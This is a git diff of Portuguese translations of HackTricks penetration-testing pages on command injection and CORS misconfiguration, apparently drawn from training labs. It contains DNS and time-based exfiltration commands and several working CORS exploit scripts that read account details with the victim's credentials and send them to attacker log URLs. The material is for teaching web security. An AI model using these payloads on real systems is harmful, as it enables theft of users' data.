{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
|
|
@ -92,7 +94,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a injeção
|
|||
```
|
||||
### Exfiltração de dados baseada em tempo
|
||||
|
||||
Extraindo dados: caractere por caractere
|
||||
Extração de dados: caractere por caractere
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
|
|
@ -106,7 +108,7 @@ sys 0m0.000s
|
|||
```
|
||||
### Exfiltração de dados baseada em DNS
|
||||
|
||||
Com base na ferramenta do `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
|
||||
Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin` também hospedada em dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
|
|
@ -116,7 +118,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Ferramentas online para verificar a exfiltração de dados baseada em DNS:
|
||||
Ferramentas online para verificar exfiltração de dados baseada em DNS:
|
||||
|
||||
* dnsbin.zhack.ca
|
||||
* pingb.in
|
||||
|
|
@ -134,7 +136,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
## Lista de Detecção de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
|
||||
|
|
@ -146,20 +148,22 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -1,62 +1,64 @@
|
|||
# CORS - Configurações Incorretas e Bypass
|
||||
# CORS - Configurações Incorretas & Bypass
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## O que é CORS?
|
||||
|
||||
O padrão CORS (Compartilhamento de Recursos de Origem Cruzada) é necessário porque ele **permite que servidores especifiquem quem pode acessar seus ativos** e quais **métodos de solicitação HTTP são permitidos** a partir de recursos externos.
|
||||
O padrão CORS (Cross-origin resource sharing) é necessário porque ele **permite que servidores especifiquem quem pode acessar seus ativos** e quais **métodos de requisição HTTP são permitidos** a partir de recursos externos.
|
||||
|
||||
Uma política de **mesma origem** requer que tanto o **servidor solicitante** de um recurso quanto o servidor onde o **recurso** está localizado usem o mesmo protocolo ([http://), nome de domínio](http://\), nome de domínio) e a mesma **porta** (80). Então, se o servidor força a política de mesma origem, apenas páginas da web do mesmo domínio e porta poderão acessar os recursos.
|
||||
Uma política de **mesma origem** requer que tanto o **servidor solicitante** de um recurso quanto o servidor onde o **recurso** está localizado usem o mesmo protocolo ([http://), nome de domínio](http://\), nome de domínio) (internal-web.com) e a mesma **porta** (80). Então, se o servidor impõe a política de mesma origem, apenas páginas web do mesmo domínio e porta poderão acessar os recursos.
|
||||
|
||||
A tabela a seguir mostra como a política de mesma origem será aplicada em `http://normal-website.com/example/example.html` :
|
||||
A tabela a seguir mostra como a política de mesma origem seria aplicada em `http://normal-website.com/example/example.html` :
|
||||
|
||||
| URL acessada | Acesso permitido? |
|
||||
| ----------------------------------------- | ---------------------------------- |
|
||||
| `http://normal-website.com/example/` | Sim: mesmo esquema, domínio e porta |
|
||||
| `http://normal-website.com/example2/` | Sim: mesmo esquema, domínio e porta |
|
||||
| `http://normal-website.com/example/` | Sim: mesmo esquema, domínio e porta|
|
||||
| `http://normal-website.com/example2/` | Sim: mesmo esquema, domínio e porta|
|
||||
| `https://normal-website.com/example/` | Não: esquema e porta diferentes |
|
||||
| `http://en.normal-website.com/example/` | Não: domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: porta diferente\* |
|
||||
| `http://en.normal-website.com/example/` | Não: domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: porta diferente\* |
|
||||
|
||||
\*_O Internet Explorer permitirá esse acesso porque o IE não leva em conta o número da porta ao aplicar a política de mesma origem._
|
||||
\*_O Internet Explorer permitirá este acesso porque o IE não leva em conta o número da porta ao aplicar a política de mesma origem._
|
||||
|
||||
### Cabeçalho `Access-Control-Allow-Origin`
|
||||
|
||||
A especificação de `Access-Control-Allow-Origin` permite **múltiplas origens**, ou o valor **`null`**, ou o caractere coringa **`*`**. No entanto, **nenhum navegador suporta múltiplas origens** e há **restrições** no uso do **coringa** `*`. (_O caractere coringa só pode ser usado sozinho, isso falhará `Access-Control-Allow-Origin: https://*.normal-website.com` e não pode ser usado com_ _Access-Control-Allow-Credentials: true_)
|
||||
A especificação de `Access-Control-Allow-Origin` permite **múltiplas origens**, ou o valor **`null`**, ou o coringa **`*`**. No entanto, **nenhum navegador suporta múltiplas origens** e existem **restrições** no uso do coringa **`*`**.(_O coringa só pode ser usado sozinho, isso falhará `Access-Control-Allow-Origin: https://*.normal-website.com` e não pode ser usado com_ _Access-Control-Allow-Credentials: true_)
|
||||
|
||||
Este cabeçalho é **retornado por um servidor** quando um site solicita um recurso de outro domínio, com um cabeçalho `Origin` adicionado pelo navegador.
|
||||
Este cabeçalho é **retornado por um servidor** quando um site solicita um recurso de domínio cruzado, com um cabeçalho `Origin` adicionado pelo navegador.
|
||||
|
||||
### Cabeçalho `Access-Control-Allow-Credentials`
|
||||
|
||||
O comportamento **padrão** das solicitações de recursos de origem cruzada é que as **solicitações** sejam **passadas sem credenciais** como cookies e o cabeçalho de autorização. No entanto, o servidor de origem cruzada pode **permitir a leitura** da **resposta** quando as **credenciais** são **passadas** para ele definindo o cabeçalho CORS **`Access-Control-Allow-Credentials`** como **`true`**.
|
||||
O comportamento **padrão** de requisições de recursos de origem cruzada é para que as **requisições** sejam **passadas sem credenciais** como cookies e o cabeçalho de Autorização. No entanto, o servidor de domínio cruzado pode **permitir a leitura** da **resposta** quando **credenciais** são **passadas** para ele, definindo o cabeçalho CORS **`Access-Control-Allow-Credentials`** como **`true`**.
|
||||
|
||||
Se o valor for definido como `true`, o navegador enviará credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).
|
||||
Se o valor for definido como `true`, então o navegador enviará credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||||
console.log(xhr.responseText);
|
||||
}
|
||||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||||
console.log(xhr.responseText);
|
||||
}
|
||||
xhr.open('GET', 'http://example.com/', true);
|
||||
xhr.withCredentials = true;
|
||||
}
|
||||
xhr.open('GET', 'http://example.com/', true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.send(null);
|
||||
```
|
||||
|
||||
```javascript
|
||||
fetch(url, {
|
||||
credentials: 'include'
|
||||
credentials: 'include'
|
||||
})
|
||||
```
|
||||
|
||||
|
|
@ -70,23 +72,23 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
```
|
||||
### Pedido de pré-voo
|
||||
|
||||
Em certas circunstâncias, quando um pedido de domínio cruzado:
|
||||
Sob certas circunstâncias, quando um pedido entre domínios:
|
||||
|
||||
* inclui um **método HTTP não padrão (HEAD, GET, POST)**
|
||||
* inclui novos **cabeçalhos**
|
||||
* inclui um valor de cabeçalho **Content-Type especial**
|
||||
* inclui um valor especial no cabeçalho **Content-Type**
|
||||
|
||||
{% hint style="info" %}
|
||||
**Verifique** [**neste link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **as condições de um pedido para evitar o envio de um pedido de pré-voo**
|
||||
{% endhint %}
|
||||
|
||||
o pedido de origem cruzada é precedido por um **pedido** usando o método **`OPTIONS`**, e o protocolo CORS exige uma verificação inicial sobre quais **métodos e cabeçalhos são permitidos antes de permitir o pedido de origem cruzada**. Isso é chamado de **verificação de pré-voo**. O servidor **retorna uma lista de métodos permitidos** além da **origem confiável** e o navegador verifica se o método do site solicitante é permitido.
|
||||
o pedido entre origens é precedido por um **pedido** usando o método **`OPTIONS`**, e o protocolo CORS exige uma verificação inicial sobre quais **métodos e cabeçalhos são permitidos antes de permitir o pedido entre origens**. Isso é chamado de **verificação de pré-voo**. O servidor **retorna uma lista de métodos permitidos** além da **origem confiável** e o navegador verifica se o método do site solicitante é permitido.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que, **mesmo que um pedido de pré-voo não seja enviado** porque as condições do "pedido regular" são respeitadas, a **resposta precisa ter os cabeçalhos de autorização** ou o **navegador não poderá ler a resposta** do pedido.
|
||||
Note que **mesmo que um pedido de pré-voo não seja enviado** porque as condições do "pedido regular" são respeitadas, a **resposta precisa ter os cabeçalhos de autorização** ou o **navegador** **não poderá ler a resposta** do pedido.
|
||||
{% endhint %}
|
||||
|
||||
Por **exemplo**, este é um pedido de pré-voo que está buscando **usar o método `PUT`** juntamente com um **cabeçalho de pedido personalizado** chamado `Special-Request-Header`:
|
||||
Por **exemplo**, este é um pedido de pré-voo que está tentando **usar o método `PUT`** juntamente com um **cabeçalho** de pedido **personalizado** chamado `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /data HTTP/1.1
|
||||
Host: <some website>
|
||||
|
|
@ -106,25 +108,25 @@ Access-Control-Allow-Credentials: true
|
|||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* `Access-Control-Allow-Headers` Cabeçalhos permitidos
|
||||
* `Access-Control-Expose-Headers` Cabeçalhos expostos
|
||||
* `Access-Control-Max-Age` Define um período máximo para armazenar em cache a resposta pré-voo para reutilização
|
||||
* `Access-Control-Expose-Headers`
|
||||
* `Access-Control-Max-Age` Define um tempo máximo para o cache da resposta de pré-voo para reutilização
|
||||
* `Access-Control-Request-Headers` O cabeçalho que a solicitação de origem cruzada deseja enviar
|
||||
* `Access-Control-Request-Method` O método que a solicitação de origem cruzada deseja usar
|
||||
* `Origin` Origem da solicitação de origem cruzada (definido automaticamente pelo navegador)
|
||||
* `Origin` Origem da solicitação de origem cruzada (Definido automaticamente pelo navegador)
|
||||
|
||||
|
||||
|
||||
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST, nenhuma solicitação pré-voo é enviada** (a solicitação é enviada **diretamente**), mas se você quiser acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
||||
**Portanto, o CORS não protege contra CSRF (mas pode ser útil).**
|
||||
Note que normalmente (dependendo do content-type e dos cabeçalhos definidos) em uma **solicitação GET/POST não é enviada uma solicitação de pré-voo** (a solicitação é enviada **diretamente**), mas se você quiser acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
||||
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
|
||||
|
||||
### **Solicitação pré-voo de rede local**
|
||||
### **Solicitação de pré-voo de pedidos de rede local**
|
||||
|
||||
Quando uma solicitação é enviada para um endereço IP de rede local, 2 cabeçalhos CORS adicionais são enviados:
|
||||
|
||||
* O cabeçalho de solicitação do cliente `Access-Control-Request-Local-Network` indica que a solicitação é uma solicitação de rede local
|
||||
* O cabeçalho de solicitação do cliente `Access-Control-Request-Local-Network` indica que a solicitação é um pedido de rede local
|
||||
* O cabeçalho de resposta do servidor `Access-Control-Allow-Local-Network` indica que um recurso pode ser compartilhado com segurança com redes externas
|
||||
|
||||
Uma **resposta válida permitindo a solicitação de rede local** também precisa ter na resposta o cabeçalho `Access-Controls-Allow-Local_network: true`:
|
||||
Uma **resposta válida que permite a solicitação de rede local** precisa ter também na resposta o cabeçalho `Access-Controls-Allow-Local_network: true` :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
|
@ -136,104 +138,102 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Observe que o IP linux **0.0.0.0** funciona para **burlar** esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
|
||||
Observe que o IP **0.0.0.0** do linux funciona para **bypass** desses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
|
||||
|
||||
Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um endpoint local** (como o IP público do roteador). Porque em várias ocasiões, mesmo que o **IP público** seja acessado, se for **da rede local**, o acesso será concedido.
|
||||
Também é possível **bypass nos requisitos de Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Porque em várias ocasiões, mesmo que o **IP público** esteja sendo acessado, se for **da rede local**, o acesso será concedido.
|
||||
|
||||
|
||||
{% endhint %}
|
||||
|
||||
## Configurações incorretas exploráveis
|
||||
## Configurações mal configuradas exploráveis
|
||||
|
||||
Observe que a maioria dos **ataques reais requer que `Access-Control-Allow-Credentials`** seja definido como **`true`** porque isso permitirá que o navegador envie as credenciais e leia a resposta. Sem credenciais, muitos ataques se tornam irrelevantes; isso significa que você não pode usar os cookies do usuário, então muitas vezes não há nada a ser ganho fazendo com que o navegador deles emita a solicitação em vez de emitir você mesmo.
|
||||
Note que a maioria dos **ataques reais requerem `Access-Control-Allow-Credentials`** definido como **`true`**, pois isso permitirá que o navegador envie as credenciais e leia a resposta. Sem credenciais, muitos ataques se tornam irrelevantes; significa que você não pode aproveitar os cookies de um usuário, então muitas vezes não há nada a ganhar fazendo o navegador deles emitir a solicitação em vez de fazê-la você mesmo.
|
||||
|
||||
Uma exceção notável é quando a **localização da rede da vítima funciona como uma espécie de autenticação**. Você pode usar o navegador da vítima como um proxy para ignorar a autenticação baseada em IP e acessar aplicativos de intranet. Em termos de impacto, isso é semelhante ao DNS rebinding, mas muito menos complicado de explorar.
|
||||
Uma exceção notável é quando a **localização de rede da vítima funciona como um tipo de autenticação.** Você pode usar o navegador de uma vítima como um proxy para bypass na autenticação baseada em IP e acessar aplicações de intranet. Em termos de impacto, isso é semelhante ao DNS rebinding, mas muito menos complicado de explorar.
|
||||
|
||||
### Reflected `Origin` in `Access-Control-Allow-Origin`
|
||||
### `Origin` refletido em `Access-Control-Allow-Origin`
|
||||
|
||||
No mundo real, isso não pode acontecer, pois **esses 2 valores dos cabeçalhos são proibidos juntos**.\
|
||||
Também é verdade que muitos desenvolvedores desejam **permitir vários URLs no CORS**, mas curingas de subdomínio ou listas de URLs não são permitidos. Então, vários desenvolvedores **geram** o cabeçalho \*\*`Access-Control-Allow-Origin`\*\* **dinamicamente**, e em mais de uma ocasião eles apenas **copiam o valor do cabeçalho Origin**.
|
||||
No mundo real isso não pode acontecer, pois **esses 2 valores dos cabeçalhos são proibidos juntos**.\
|
||||
Também é verdade que muitos desenvolvedores querem **permitir várias URLs no CORS**, mas curingas de subdomínio ou listas de URLs não são permitidos. Então, vários desenvolvedores **geram** o cabeçalho \*\*`Access-Control-Allow-Origin`\*\* **dinamicamente**, e em mais de uma ocasião eles simplesmente **copiam o valor do cabeçalho Origin**.
|
||||
|
||||
Nesse caso, a **mesma vulnerabilidade pode ser explorada.**
|
||||
|
||||
Em outros casos, o desenvolvedor poderia verificar se o **domínio** (_victimdomain.com_) **aparece** no cabeçalho Origin, então, um atacante pode usar um domínio chamado **`attackervictimdomain.com`** para roubar informações confidenciais.
|
||||
Em outros casos, o desenvolvedor pode verificar se o **domínio** (_victimdomain.com_) **aparece** no cabeçalho **Origin**, então, um atacante pode usar um domínio chamado **`attackervictimdomain.com`** para roubar as informações confidenciais.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### A Origem `null`
|
||||
|
||||
`null` é um valor especial para o cabeçalho **Origin**. A especificação menciona que ele é acionado por redirecionamentos e arquivos HTML locais. Algumas aplicações podem permitir a origem `null` na lista branca para suportar o desenvolvimento local da aplicação.\
|
||||
Isso é interessante porque **várias aplicações permitirão esse valor** dentro do CORS e qualquer **site pode facilmente obter a origem nula usando um iframe isolado**:
|
||||
`null` é um valor especial para o cabeçalho **Origin**. A especificação menciona que ele é acionado por redirecionamentos e arquivos HTML locais. Algumas aplicações podem incluir na lista branca a origem `null` para suportar o desenvolvimento local da aplicação.\
|
||||
Isso é bom porque **várias aplicações permitirão esse valor** dentro do CORS e qualquer **site pode facilmente obter a origem null usando um iframe com sandbox**:
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
### **Burlas de Regexp**
|
||||
### **Bypasses de Regexp**
|
||||
|
||||
Se você descobriu que o domínio _victim.com_ está na **lista branca**, você deve verificar se _victim.com.**attacker.com**_ também está na **lista branca**, ou, caso você possa **assumir algum subdomínio**, verifique se _**somesubdomain**.victim.com_ está na lista branca.
|
||||
Se você descobriu que o domínio _victim.com_ está na **lista de permissões**, você deve verificar se _victim.com.**attacker.com**_ também está **na lista de permissões**, ou, caso você possa **tomar controle de algum subdomínio**, verifique se _**somesubdomain**.victim.com_ está na lista de permissões.
|
||||
|
||||
### **Burlas de Regexp Avançadas**
|
||||
### **Bypasses avançados de Regexp**
|
||||
|
||||
A maioria das expressões regulares usadas para identificar o domínio dentro da string se concentrará em caracteres alfanuméricos ASCII e `.-`. Então, algo como `victimdomain.com{.attacker.com` dentro do cabeçalho de Origem será interpretado pela expressão regular como se o domínio fosse `victimdomain.com`, mas o navegador (neste caso, o Safari suporta esse caractere no domínio) acessará o domínio `attacker.com`.
|
||||
A maioria dos regex usados para identificar o domínio dentro da string se concentra em caracteres ASCII alfanuméricos e `.-`. Então, algo como `victimdomain.com{.attacker.com` no cabeçalho Origin será interpretado pelo regexp como se o domínio fosse `victimdomain.com`, mas o navegador (neste caso, o Safari suporta este caractere no domínio) acessará o domínio `attacker.com`.
|
||||
|
||||
O caractere `_` (em subdomínios) não é apenas suportado no Safari, mas também no Chrome e no Firefox!
|
||||
|
||||
**Então, usando um desses subdomínios, você pode burlar algumas expressões regulares "comuns" para encontrar o domínio principal de uma URL.**
|
||||
**Então, usando um desses subdomínios, você poderia burlar alguns regex "comuns" para encontrar o domínio principal de uma URL.**
|
||||
|
||||
**Para obter mais informações e configurações dessa burla, consulte:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**Para mais informações e configurações deste bypass, confira:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
.png>)
|
||||
|
||||
### A partir de XSS dentro de um subdomínio
|
||||
### De XSS dentro de um subdomínio
|
||||
|
||||
Um mecanismo de defesa que os desenvolvedores usam contra a exploração do CORS é listar em branco os domínios que frequentemente solicitam acesso a informações. No entanto, isso não é totalmente seguro, porque se **um** dos subdomínios do domínio **listado em branco** for **vulnerável** a outros exploits, como **XSS**, ele pode permitir a exploração do CORS.
|
||||
Um mecanismo de defesa que os desenvolvedores usam contra a exploração de CORS é colocar na lista de permissões domínios que frequentemente solicitam acesso a informações. No entanto, isso não é totalmente seguro, porque se até mesmo **um** dos subdomínios do domínio **na lista de permissões** for **vulnerável** a outros exploits, como **XSS**, isso pode possibilitar a exploração de CORS.
|
||||
|
||||
Vamos considerar um exemplo, o código a seguir mostra a configuração que permite que subdomínios de _requester.com_ acessem recursos de _provider.com_.
|
||||
Vamos considerar um exemplo, o seguinte código mostra a configuração que permite que subdomínios de _requester.com_ acessem recursos de _provider.com_.
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
||||
{
|
||||
//Access data
|
||||
else{ // unauthorized access}
|
||||
{
|
||||
//Access data
|
||||
else{ // unauthorized access}
|
||||
}
|
||||
```
|
||||
Supondo que um usuário tenha acesso a sub.requester.com, mas não a requester.com, e supondo que `sub.requester.com` seja vulnerável a XSS. O usuário pode explorar `provider.com` usando o método de ataque de script entre sites.
|
||||
|
||||
### **Envenenamento de cache do lado do servidor**
|
||||
|
||||
